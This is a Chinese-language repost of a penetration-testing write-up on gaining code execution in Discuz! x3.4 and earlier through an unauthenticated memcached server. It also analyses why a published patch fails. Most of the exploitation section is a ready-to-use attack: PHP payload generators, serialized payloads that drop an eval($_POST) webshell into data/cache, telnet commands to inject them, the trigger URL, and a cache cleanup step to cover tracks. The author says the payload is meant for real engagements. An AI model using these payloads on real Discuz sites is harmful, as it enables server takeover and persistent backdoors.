【转】Discuz!因Memcached未授权访问导致的RCE

首先这篇文章转自先知,作者
尼古拉斯三楞
如有侵权请私信。

一、前言

这个漏洞大家一定不陌生,在16年的时候关于discuz! + ssrf +memcached的RCE漏洞让大家都很惊艳,一年过去了这个漏洞的修复情况又是怎样的呢?

二、漏洞简述

这个漏洞大致利用过程是这样的:利用discuz!的ssrf漏洞,利用gopher协议写入payload到memcached,然后请求特定链接导致代码执行漏洞。

可以看出漏洞利用两个关键点:

1.ssrf漏洞

2.代码执行漏洞

利用ssrf漏洞是要向memcached中写入payload,我们抽象的看ssrf只是写入payload的一种方式。如果memcached的11211端口绑定到了外网并且可以未授权访问,ssrf漏洞我们也可以不使用了。今天在做一个渗透测试的时候遇到了此种情况。

因此,现在我的关注点是代码执行漏洞。如果代码执行漏洞没有修复,我就可以利用memcached未授权漏洞写入payload,使用代码执行漏洞获取webshell。

三、discuz!代码执行漏洞分析

漏洞利用有两个版本,一个是老版本,一个是新版本,discuz!虽然已经是x3.4,代码也发生了变化,漏洞确是任然没有修复。

漏洞利用代码流程逻辑:

访问:

forum.php?mod=ajax&inajax=yes&action=getthreadtypes
./source/module/forum/forum_ajax.php

./template/default/common/footer_ajax.htm

./source/function/function_core.php

./source/function/function_core.php

最后利用preg_replace函数/e参数的代码执行特性完成了漏洞利用的全部过程。

以上是老版本代码,在网上已经有一些分析了,在这里简述一些,重点是payload的完整性使用。网上文章大部分在payload部分都只是验证性演示。作为一名红队渗透测试人员,验证性payload肯定是不能再实际渗透测试活动中使用的。

四、漏洞利用流程

1 老版本漏洞利用流程:

生成payload

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;"><?php
$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
</pre>

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
</pre>

​ 然后telnet链接memcached

telnet 1.1.1.1 11211
set xxxxxx_setting 1 0 yyy    //xxxx为前缀,discuz定义的,可以使用stats cachedump 命令查看。yyy为payload长度。

最后访问forum.php?mod=ajax&inajax=yes&action=getthreadtypes,shell生成/data/cache/ln.php。

2 网上给的修复代码是这样的

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">if (preg_match("(/|#|+|%).*(/|#|+|%)e", $_G['setting']['output']['preg']['search']) !== FALSE) { die("request error"); }
</pre>

​ 这个修复完全没有作用,无效修复,preg_match的正则根本匹配不到/.*/e。注意看,正则代码没有给分隔符,而(成了分隔符,让正则失去了本来的作用,如果加上分隔符,正则匹配任何字符,将影响代码正常功能。

五、最新版本Discuz x3.4漏洞依旧存在

1 代码变化,漏洞依旧

​漏洞点代码已经被更新,但是漏洞并没有被修复,这种代码更新应该是为了适应php版本更新,因为php5.5以后preg_replace/e参数被废弃,官方建议使用preg_replace_callback

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">foreach($_G['setting']['output']['preg']['search']as $key => $value) {
$content= preg_replace_callback($value, create_function('$matches','return'.$_G['setting']['output']['preg']['replace'][$key].';'), $content);
}
</pre>

漏洞函数变成了create_function,这个函数大家都知道也是危险函数,可以造成代码执行漏洞。

2 新版本漏洞利用流程

生成payload有点变化(ps:只是少了一个e)

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;"><?php
$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
</pre>

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
</pre>

访问:

forum.php?mod=ajax&inajax=yes&action=getthreadtypes

最后一定要恢复缓存

Delete Vtfbsm_setting

成功写入文件

四、总结

​ 直到最新版本discuz也没有修复这个漏洞,当初的ssrf结合memcached的漏洞,discuz只看到了ssrf漏洞,并没有留意到这个代码执行的漏洞。通过漏洞的抽象思维,我们知道控制memcached的方式不仅仅只有ssrf,再进一步到代码层,控制$G全局变量的方式也不仅仅只有memcached。

点击收藏 | 0关注 | 2

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,744评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,505评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,105评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,242评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,269评论 6 389
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,215评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,096评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,939评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,354评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,573评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,745评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,448评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,048评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,683评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,838评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,776评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,652评论 2 354

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,652评论 18 139
  • PHP:include()``include_once()``require()``require_once() ...
    寻梦xunm阅读 857评论 1 4
  • 11、谈谈mvc的认识。由模型、视图、控制器完成的应用程序,由模型发出要实现的功能到控制器,控制器接收组织功能传递...
    像敏锐的狗阅读 383评论 0 2
  • 1、memcache的概念? Memcache是一个高性能的分布式的内存对象缓存系统,通过在内存里维护一个统一的巨...
    桖辶殇阅读 2,235评论 2 12
  • 什么东西的成长都需要一定的环境,爱情也是如此,就拿玫瑰来说,你说贫瘠的黄土高坡能长出玫瑰花来吗,我看不能,因为...
    惶尚阅读 252评论 0 0